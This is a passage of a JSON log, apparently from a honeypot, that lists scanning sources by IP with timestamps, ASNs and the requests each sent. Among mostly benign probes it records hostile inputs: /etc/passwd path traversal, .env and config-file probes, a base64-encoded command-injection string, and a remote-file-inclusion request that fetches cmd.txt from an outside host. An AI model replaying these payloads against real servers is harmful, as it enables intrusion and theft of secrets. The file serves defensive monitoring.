      "last_seen": "2026-03-08T20:55:49.920Z",
      "ports": [],
      "event_types": [
        "\"GET /recordings/info.php?xx HTTP/1.1\" 404 -",
        "\"GET /recordings/ini.php?123 HTTP/1.1\" 404 -",
        "\"GET /recordings/is/config.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/jeep.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/just-emad.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/lol.php?123 HTTP/1.1\" 404 -",
        "\"GET /recordings/m2s.php?letter=asd HTTP/1.1\" 404 -",
        "\"GET /recordings/m7mood/config.php? HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 20766,
      "as_org": "Association Gitoyen"
    },
    "162.142.125.112": {
      "attack_count": 6,
      "first_seen": "2026-03-11T12:00:37.848Z",
      "last_seen": "2026-03-11T12:00:55.909Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /version HTTP/1.1\" 404 -",
        "\"PRI * HTTP/2.0\" 505 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "code 505"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc."
    },
    "185.242.226.39": {
      "attack_count": 6,
      "first_seen": "2026-03-19T01:28:40.482Z",
      "last_seen": "2026-03-24T19:24:04.606Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 202425,
      "as_org": "IP Volume inc"
    },
    "193.142.146.230": {
      "attack_count": 6,
      "first_seen": "2026-03-22T18:04:26.461Z",
      "last_seen": "2026-03-22T18:04:33.501Z",
      "ports": [],
      "event_types": [
        "\"GET /cmplatform/?query=JzsgaWQgIw%3D%3D HTTP/1.1\" 404 -",
        "\"GET /cucm-uds/?query=JzsgaWQgIw%3D%3D HTTP/1.1\" 404 -",
        "\"GET /cucm-uds/users?query=JzsgaWQgIw%3D%3D HTTP/1.1\" 404 -",
        "\"GET /ucmuser/?query=JzsgaWQgIw%3D%3D HTTP/1.1\" 404 -",
        "\"GET /unity/?query=JzsgaWQgIw%3D%3D HTTP/1.1\" 404 -",
        "\"GET /webexcalling/?query=JzsgaWQgIw%3D%3D HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 213438,
      "as_org": "ColocaTel Inc."
    },
    "199.45.154.144": {
      "attack_count": 6,
      "first_seen": "2026-03-20T03:44:49.278Z",
      "last_seen": "2026-03-20T03:45:03.019Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /version HTTP/1.1\" 404 -",
        "\"PRI * HTTP/2.0\" 505 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "code 505"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398722,
      "as_org": "Censys, Inc."
    },
    "71.6.232.22": {
      "attack_count": 6,
      "first_seen": "2026-03-02T12:25:04.794Z",
      "last_seen": "2026-03-23T16:14:58.147Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc."
    },
    "185.220.100.247": {
      "attack_count": 5,
      "first_seen": "2026-03-08T20:57:44.321Z",
      "last_seen": "2026-03-08T20:57:52.034Z",
      "ports": [],
      "event_types": [
        "\"GET /dslvl.php?1123 HTTP/1.1\" 404 -",
        "\"GET /sip.txt?ASdwd HTTP/1.1\" 404 -",
        "\"GET /vtigercrm/ml.php?in=http://212.83.160.70/t/cmd.txt HTTP/1.1\" 404 -",
        "\"GET /vtigercrm/ops.php?5awe6 HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 205100,
      "as_org": "F3 Netze e.V."
    },
    "185.220.101.33": {
      "attack_count": 5,
      "first_seen": "2026-03-08T20:58:43.384Z",
      "last_seen": "2026-03-08T20:58:51.430Z",
      "ports": [],
      "event_types": [
        "\"GET /cisco/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /classes/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /components/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /config.all.php? HTTP/1.1\" 404 -",
        "\"GET /config/config.all.php? HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Germany",
      "country_code": "DE",
      "city": "Brandenburg",
      "asn": 60729,
      "as_org": "Stiftung Erneuerbare Freiheit"
    },
    "185.220.101.98": {
      "attack_count": 5,
      "first_seen": "2026-03-08T20:56:14.085Z",
      "last_seen": "2026-03-08T20:56:21.575Z",
      "ports": [],
      "event_types": [
        "\"GET /recordings/page.framework.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/phpversions.php?module=upload HTTP/1.1\" 404 -",
        "\"GET /recordings/phpversions.php?module=upload&1 HTTP/1.1\" 404 -",
        "\"GET /recordings/s.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/s.php?1xx HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Germany",
      "country_code": "DE",
      "city": "Brandenburg",
      "asn": 60729,
      "as_org": "Stiftung Erneuerbare Freiheit"
    },
    "5.181.190.188": {
      "attack_count": 5,
      "first_seen": "2026-03-04T03:51:02.414Z",
      "last_seen": "2026-03-04T03:51:03.967Z",
      "ports": [],
      "event_types": [
        "\"GET /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1\" 404 -",
        "\"GET /..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1\" 404 -",
        "\"GET /..%5C..%5C..%5C..%5C..%5C..%5Cetc%5Cpasswd HTTP/1.1\" 404 -",
        "\"GET //etc/passwd HTTP/1.1\" 404 -",
        "\"GET /etc/passwd HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Poland",
      "country_code": "PL",
      "city": null,
      "asn": 201814,
      "as_org": "MEVSPACE sp. z o.o."
    },
    "118.193.33.130": {
      "attack_count": 4,
      "first_seen": "2026-03-11T12:22:53.609Z",
      "last_seen": "2026-03-11T12:22:58.378Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"t3 12.1.2\" 400 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "code 400"
      ],
      "usernames_attempted": [],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED"
    },
    "130.12.180.34": {
      "attack_count": 4,
      "first_seen": "2026-03-20T01:25:20.581Z",
      "last_seen": "2026-03-23T04:15:25.673Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /.env HTTP/1.1\" 404 -",
        "\"GET /dev/.env HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 202412,
      "as_org": "Omegatech LTD"
    },
    "45.156.128.130": {
      "attack_count": 4,
      "first_seen": "2026-03-14T06:36:19.363Z",
      "last_seen": "2026-03-14T06:37:08.351Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 211680,
      "as_org": "Sistemas Informaticos, S.A."
    },
    "45.156.128.202": {
      "attack_count": 4,
      "first_seen": "2026-03-17T20:07:06.079Z",
      "last_seen": "2026-03-17T20:07:31.461Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /login/login HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 211680,
      "as_org": "Sistemas Informaticos, S.A."
    },
    "45.156.129.190": {
      "attack_count": 4,
      "first_seen": "2026-03-29T09:15:54.707Z",
      "last_seen": "2026-03-29T09:16:25.981Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /login/login HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 211680,
      "as_org": "Sistemas Informaticos, S.A."
    },
    "185.220.101.174": {
      "attack_count": 3,
      "first_seen": "2026-03-08T20:54:41.052Z",
      "last_seen": "2026-03-08T21:01:14.223Z",
      "ports": [],
      "event_types": [
        "\"GET /admin/modules/ucp/htdocs/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /admin/themes/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /phpversions.php?module=upload HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Germany",
      "country_code": "DE",
      "city": "Brandenburg",
      "asn": 60729,
      "as_org": "Stiftung Erneuerbare Freiheit"
    },
    "208.68.93.231": {
      "attack_count": 3,
      "first_seen": "2026-03-03T06:32:50.787Z",
      "last_seen": "2026-03-10T05:51:54.262Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 40028,
      "as_org": "1651884 Ontario Inc."
    },
    "64.62.156.216": {
      "attack_count": 3,
      "first_seen": "2026-03-02T02:43:11.192Z",
      "last_seen": "2026-03-02T02:43:26.950Z",
      "ports": [],
      "event_types": [
        "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -",
        "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -",
        "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "77.83.36.43": {
      "attack_count": 3,
      "first_seen": "2026-03-17T11:29:48.158Z",
      "last_seen": "2026-03-17T11:29:52.195Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /HNAP1/ HTTP/1.1\" 404 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Ukraine",
      "country_code": "UA",
      "city": null,
      "asn": 214403,
      "as_org": "Layer7 Networks GmbH"
    },
    "94.16.115.121": {
      "attack_count": 3,
      "first_seen": "2026-03-08T20:54:21.449Z",
      "last_seen": "2026-03-08T20:54:33.008Z",
      "ports": [],
      "event_types": [
        "\"GET /panel/main.php.1?31 HTTP/1.1\" 404 -",
        "\"GET /panel/main.php.1?35 HTTP/1.1\" 404 -",
        "\"GET /panel/main.php.2?22 HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Germany",
      "country_code": "DE",
      "city": "Nuremberg",
      "asn": 197540,
      "as_org": "netcup GmbH"
    },
    "104.152.52.106": {
      "attack_count": 2,
      "first_seen": "2026-03-02T00:38:01.229Z",
      "last_seen": "2026-03-02T00:38:01.951Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14987,
      "as_org": "Rethem Hosting LLC"
    },
    "109.105.210.105": {
      "attack_count": 2,
      "first_seen": "2026-03-18T07:12:05.724Z",
      "last_seen": "2026-03-18T07:12:08.728Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 21859,
      "as_org": "Zenlayer Inc"
    },
    "109.105.210.95": {
      "attack_count": 2,
      "first_seen": "2026-03-02T20:40:06.079Z",
      "last_seen": "2026-03-02T20:40:09.079Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 21859,
      "as_org": "Zenlayer Inc"
    },
    "138.68.134.113": {
      "attack_count": 2,
      "first_seen": "2026-03-15T19:40:52.346Z",
      "last_seen": "2026-03-15T19:40:55.349Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC"
    },
    "172.212.201.77": {
      "attack_count": 2,
      "first_seen": "2026-03-29T15:12:25.083Z",
      "last_seen": "2026-03-29T15:12:28.086Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation"
    },
    "185.220.101.146": {
      "attack_count": 2,
      "first_seen": "2026-03-08T21:01:16.364Z",
      "last_seen": "2026-03-08T21:01:18.494Z",
      "ports": [],
      "event_types": [
        "\"GET /admin/views/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /asteriskWS/config.all.php?x HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Germany",
      "country_code": "DE",
      "city": "Brandenburg",
      "asn": 60729,
      "as_org": "Stiftung Erneuerbare Freiheit"
    },
    "185.220.101.176": {
      "attack_count": 2,
      "first_seen": "2026-03-08T20:53:13.824Z",
      "last_seen": "2026-03-08T20:53:16.205Z",
      "ports": [],
      "event_types": [],
      "usernames_attempted": [],
      "country": "Germany",
      "country_code": "DE",
      "city": "Brandenburg",
      "asn": 60729,
      "as_org": "Stiftung Erneuerbare Freiheit"
    },
    "20.118.209.103": {
      "attack_count": 2,
      "first_seen": "2026-03-09T20:25:48.153Z",
      "last_seen": "2026-03-09T20:25:51.155Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation"
    },
    "20.169.104.237": {
      "attack_count": 2,
      "first_seen": "2026-03-06T20:23:23.755Z",
      "last_seen": "2026-03-06T20:23:26.758Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 8075,
      "as_org": "Microsoft Corporation"
    },
    "212.38.189.186": {
      "attack_count": 2,
      "first_seen": "2026-03-16T16:15:02.831Z",
      "last_seen": "2026-03-16T16:15:05.834Z",
      "ports": [],
      "event_types": [
        "\"POST /+CSCOE+/saml/sp/acs?tgname=a HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 20860,
      "as_org": "Iomart Cloud Services Limited"
    },
    "24.144.88.130": {
      "attack_count": 2,
      "first_seen": "2026-03-19T06:20:32.584Z",
      "last_seen": "2026-03-19T06:20:38.758Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC"
    },
    "3.88.22.96": {
      "attack_count": 2,
      "first_seen": "2026-03-06T00:49:47.826Z",
      "last_seen": "2026-03-06T00:49:50.829Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "35.216.201.9": {
      "attack_count": 2,
      "first_seen": "2026-03-08T13:54:01.015Z",
      "last_seen": "2026-03-08T13:54:04.019Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Switzerland",
      "country_code": "CH",
      "city": "Zurich",
      "asn": 15169,
      "as_org": "Google LLC"
    },
    "40.76.124.118": {
      "attack_count": 2,
      "first_seen": "2026-03-27T02:51:45.796Z",
      "last_seen": "2026-03-27T02:51:48.800Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation"
    },
    "54.89.202.86": {
      "attack_count": 2,
      "first_seen": "2026-03-24T00:54:59.085Z",
      "last_seen": "2026-03-28T01:19:37.662Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "64.62.156.209": {
      "attack_count": 2,
      "first_seen": "2026-03-05T05:48:12.138Z",
      "last_seen": "2026-03-09T09:57:30.273Z",
      "ports": [],
      "event_types": [
        "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -",
        "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "64.62.156.68": {
      "attack_count": 2,
      "first_seen": "2026-03-03T05:13:50.967Z",
      "last_seen": "2026-03-03T05:15:53.567Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "85.11.183.19": {
      "attack_count": 2,
      "first_seen": "2026-03-08T07:05:05.655Z",
      "last_seen": "2026-03-12T11:38:39.045Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "London",
      "asn": 201002,
      "as_org": "PebbleHost Ltd"
    },
    "91.231.89.186": {
      "attack_count": 2,
      "first_seen": "2026-03-05T07:12:15.407Z",
      "last_seen": "2026-03-05T07:12:25.888Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "98.93.19.251": {
      "attack_count": 2,
      "first_seen": "2026-03-15T01:00:31.881Z",
      "last_seen": "2026-03-15T01:00:34.884Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "100.31.213.204": {
      "attack_count": 1,
      "first_seen": "2026-03-19T00:53:29.964Z",
      "last_seen": "2026-03-19T00:53:29.964Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "130.12.180.29": {
      "attack_count": 1,
      "first_seen": "2026-03-05T06:38:09.698Z",
      "last_seen": "2026-03-05T06:38:09.698Z",
      "ports": [],
      "event_types": [
        "\"GET /RDWeb/Pages/en-US/login.aspx HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 202412,
      "as_org": "Omegatech LTD"
    },
    "147.185.132.88": {
      "attack_count": 1,
      "first_seen": "2026-03-08T03:42:46.817Z",
      "last_seen": "2026-03-08T03:42:46.817Z",
      "ports": [],
      "event_types": [
        "\"GET /.well-known/security.txt HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC"
    },
    "185.247.137.92": {
      "attack_count": 1,
      "first_seen": "2026-03-04T05:55:09.851Z",
      "last_seen": "2026-03-04T05:55:09.851Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Manchester",
      "asn": 211298,
      "as_org": "Driftnet Ltd"
    },
    "195.184.76.253": {
      "attack_count": 1,
      "first_seen": "2026-03-08T07:58:30.969Z",
      "last_seen": "2026-03-08T07:58:30.969Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "195.184.76.255": {
      "attack_count": 1,
      "first_seen": "2026-03-27T07:47:30.111Z",
      "last_seen": "2026-03-27T07:47:30.111Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/session_password.html HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "204.236.211.208": {
      "attack_count": 1,
      "first_seen": "2026-03-21T00:51:54.175Z",
      "last_seen": "2026-03-21T00:51:54.175Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "216.218.206.102": {
      "attack_count": 1,
      "first_seen": "2026-03-12T05:04:56.998Z",
      "last_seen": "2026-03-12T05:04:56.998Z",
      "ports": [],
      "event_types": [
        "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Cazadero",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "216.218.206.114": {
      "attack_count": 1,
      "first_seen": "2026-03-12T05:04:50.815Z",
      "last_seen": "2026-03-12T05:04:50.815Z",
      "ports": [],
      "event_types": [
        "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Cazadero",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "216.218.206.78": {
      "attack_count": 1,
      "first_seen": "2026-03-12T05:03:30.654Z",
      "last_seen": "2026-03-12T05:03:30.654Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Cazadero",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "3.89.218.222": {
      "attack_count": 1,
      "first_seen": "2026-03-23T01:00:07.041Z",
      "last_seen": "2026-03-23T01:00:07.041Z",
      "ports": [],
      "event_types": [
        "\"GET /robots.txt HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "35.171.19.100": {
      "attack_count": 1,
      "first_seen": "2026-03-20T00:56:56.765Z",
      "last_seen": "2026-03-20T00:56:56.765Z",
      "ports": [],
      "event_types": [
        "\"GET /robots.txt HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "36.106.166.235": {
      "attack_count": 1,
      "first_seen": "2026-03-08T09:35:44.777Z",
      "last_seen": "2026-03-08T09:35:44.777Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 17638,
      "as_org": "ASN for TIANJIN Provincial Net of CT"
    },
    "44.211.45.255": {
      "attack_count": 1,
      "first_seen": "2026-03-30T00:57:50.281Z",
      "last_seen": "2026-03-30T00:57:50.281Z",
      "ports": [],
      "event_types": [
        "\"GET /robots.txt HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "54.227.226.218": {
      "attack_count": 1,
      "first_seen": "2026-03-10T00:48:35.162Z",
      "last_seen": "2026-03-10T00:48:35.162Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "64.62.156.203": {
      "attack_count": 1,
      "first_seen": "2026-03-05T05:48:05.845Z",
      "last_seen": "2026-03-05T05:48:05.845Z",
      "ports": [],
      "event_types": [
        "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "64.62.156.215": {
      "attack_count": 1,
      "first_seen": "2026-03-02T02:42:59.891Z",
      "last_seen": "2026-03-02T02:42:59.891Z",
      "ports": [],
      "event_types": [
        "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "64.62.156.230": {
      "attack_count": 1,
      "first_seen": "2026-03-22T07:40:24.336Z",
      "last_seen": "2026-03-22T07:40:24.336Z",
      "ports": [],
      "event_types": [
        "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "64.62.156.69": {
      "attack_count": 1,
      "first_seen": "2026-03-03T05:15:45.342Z",
      "last_seen": "2026-03-03T05:15:45.342Z",
      "ports": [],
      "event_types": [
        "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "65.49.1.46": {
      "attack_count": 1,
      "first_seen": "2026-03-24T07:40:15.335Z",
      "last_seen": "2026-03-24T07:40:15.335Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "65.49.1.51": {
      "attack_count": 1,
      "first_seen": "2026-03-24T07:41:49.009Z",
      "last_seen": "2026-03-24T07:41:49.009Z",
      "ports": [],
      "event_types": [
        "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "65.49.1.81": {
      "attack_count": 1,
      "first_seen": "2026-03-16T02:46:09.680Z",
      "last_seen": "2026-03-16T02:46:09.680Z",
      "ports": [],
      "event_types": [
        "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "65.49.1.84": {
      "attack_count": 1,
      "first_seen": "2026-03-06T02:49:06.149Z",
      "last_seen": "2026-03-06T02:49:06.149Z",
      "ports": [],
      "event_types": [
        "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "65.49.1.87": {
